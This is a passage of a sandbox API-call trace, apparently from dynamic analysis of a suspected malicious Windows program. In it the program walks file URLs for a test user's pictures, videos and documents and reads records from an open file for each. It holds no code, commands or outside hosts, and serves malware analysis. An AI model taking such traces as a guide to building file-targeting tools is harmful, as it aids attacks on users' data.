[0079.592] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_Yvkle%2090DKso.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png"
[0079.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 72
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb900
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.592] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb900
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.592] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/myvTC.swf" | out: _Str="file:///c:/users/atveydl98z/videos/myvtc.swf") returned="file:///c:/users/atveydl98z/videos/myvtc.swf"
[0079.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 45
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba00
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.592] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba00
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.593] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/yjKdM-.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp"
[0079.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 48
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.593] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.593] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/jTlNCq7xP14ExqSE.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif"
[0079.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 89
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.593] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.593] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/yaqsgUigi.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp"
[0079.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 82
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.593] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.593] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd00
[0079.593] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.593] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/aEprpt-%20Br_YutU-.swf" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf"
[0079.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 65
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe00
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.594] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe00
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.594] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/VajLXU.png" | out: _Str="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned="file:///c:/users/atveydl98z/pictures/vajlxu.png"
[0079.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 48
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf00
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.594] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=48896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf00
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.594] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/H2cb7jaJW.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv"
[0079.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 50
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc000
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.594] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc000
[0079.594] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.594] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/u%20x2wZ014nnO431W.ods" | out: _Str="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods"
[0079.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 61
[0079.594] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc100
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.595] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc100
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.595] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/PVi1BVfIlIQmDKwr.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg"
[0079.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 57
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc200
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.595] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc200
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.595] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/l%20SIGus.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf"
[0079.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 62
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc300
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.595] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=49920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc300
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.595] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/PgP_.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv"
[0079.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 51
[0079.595] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc400
[0079.595] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.596] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc400
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.596] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/hDLvAZKIf3vkcCxBdo.docx" | out: _Str="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx"
[0079.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 62
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc500
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.596] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc500
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.596] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/NnhT-QiXy.docx" | out: _Str="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned="file:///c:/users/atveydl98z/documents/nnht-qixy.docx"
[0079.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 53
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc600
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.596] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc600
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.596] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/61WSAuRg.bmp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp"
[0079.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 57
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc700
[0079.596] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.596] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.596] SetFilePointer (in: hFile=0xa0, lDistanceToMove=50944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc700
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.597] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/U4m-9pZJCPhsi6.swf" | out: _Str="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf"
[0079.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 55
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc800
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.597] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc800
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.597] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/XtVHwziC5KkEhEQytAGm.xls" | out: _Str="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls"
[0079.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 61
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc900
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.597] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc900
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.597] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/tQcK56JEAC.png" | out: _Str="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned="file:///c:/users/atveydl98z/pictures/tqck56jeac.png"
[0079.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 52
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca00
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.597] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.597] SetFilePointer (in: hFile=0xa0, lDistanceToMove=51712, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca00
[0079.597] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.598] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/gLCl.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/glcl.pptx") returned="file:///c:/users/atveydl98z/documents/glcl.pptx"
